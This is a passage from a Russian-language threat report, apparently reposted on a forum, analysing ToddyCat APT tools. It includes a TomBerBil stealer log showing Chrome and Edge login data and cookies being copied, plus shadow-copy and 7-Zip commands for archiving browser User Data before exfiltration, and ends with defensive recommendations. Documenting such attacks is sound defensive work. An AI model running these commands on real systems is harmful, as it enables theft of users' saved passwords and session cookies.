1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | [+] Begin 7/28/2023 1:12:37 PM [+] Current user SYSTEM [*] [5516] [explorer] [UserName] [+] Impersonate user UserName [+] Current user UserName [+] Local State File: C:\Users\UserName\AppData\Local\Google\Chrome\User Data\Local State [+] MasterKeyBytes: 6j<...>k= [>] Profile: C:\Users\UserName\AppData\Local\Google\Chrome\User Data\Default [+] Copy C:\Users\UserName\AppData\Local\Google\Chrome\User Data\Default\Login Data to C:\Windows\TEMP\tmpF319.tmp [+] Delete File C:\Windows\TEMP\tmpF319.tmp [+] Copy C:\Users\UserName\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies to C:\Windows\TEMP\tmpFA1F.tmp [+] Delete File C:\Windows\TEMP\tmpFA1F.tmp [+] Local State File: C:\Users\UserName\AppData\Local\Microsoft\Edge\User Data\Local State [+] MasterKeyBytes: fv<...>GM= [>] Profile: C:\Users\UserName\AppData\Local\Microsoft\Edge\User Data\Default [+] Copy C:\Users\UserName\AppData\Local\Microsoft\Edge\User Data\Default\Login Data to C:\Windows\TEMP\tmpFCB0.tmp [+] Delete File C:\Windows\TEMP\tmpFCB0.tmp [+] Copy C:\Users\UserName\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies to C:\Windows\TEMP\tmpFD5D.tmp [+] Delete File C:\Windows\TEMP\tmpFD5D.tmp [+] Recvtoself [+] Current user SYSTEM [+] End 7/28/2023 1:12:52 PM |
Любопытно, что одна из модификаций мимикрировала под Kaspersky Anti-Virus. Файл этой модификации с именем avpui.exe (
Для просмотра ссылки необходимо нажать
Вход или Регистрация
) и соответствующими метаданными можно увидеть на рисунке ниже.
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Метаданные инструмента, выдающего себя за KAV
Для работы некоторых версий TomBerBil использовались определенные параметры командной строки, как, например, на рисунке ниже.
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Параметры, использующиеся в некоторых версиях TomBerBil
Помимо использования самого инструмента, мы в некоторых случаях также наблюдали создание теневой копии диска и архивацию файлов из папки User Data с помощью
Для просмотра ссылки необходимо нажать
Вход или Регистрация
для последующей эксфильтрации.1 2 3 | wmic shadowcopy call create Volume='C:\' "cmd" /c c:\Intel\7z6.exe a c:\Intel\1.7z -mx0 -r \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\<username>\AppData\Local\Google\Chrome\"User Data\" |
Заключение
Мы рассмотрели несколько инструментов APT-группы ToddyCat, которые позволяют атакующим сохранять доступ к целевым инфраструктурам и в автоматическом режиме искать и собирать интересующие их данные. Злоумышленники активно используют различные методы обхода средств защиты, пытаясь замаскировать свое присутствие в системе.Для защиты вашей инфраструктуры мы рекомендуем добавить в блок-лист на фаерволе ресурсы и IP-адреса облачных сервисов, которые предоставляют услуги туннелирования трафика. Внутри инфраструктуры мы рекомендуем ограничить список разрешенных инструментов для удаленного доступа к хостам. Те же инструменты, которые не используются, следует либо запретить вообще, либо отслеживать их появление внутри инфраструктуры — это может служить хорошим индикатором наличия подозрительной активности.
Кроме этого, необходимо требовать от пользователей отказаться от хранения паролей в браузерах. Оно облегчает злоумышленникам доступ к конфиденциальной информации, а если пользователи защищают одними и теми же паролями аккаунты в разных сервисах, то злоумышленники смогут получить доступ к неограниченному количеству данных.
Для просмотра ссылки необходимо нажать
Вход или Регистрация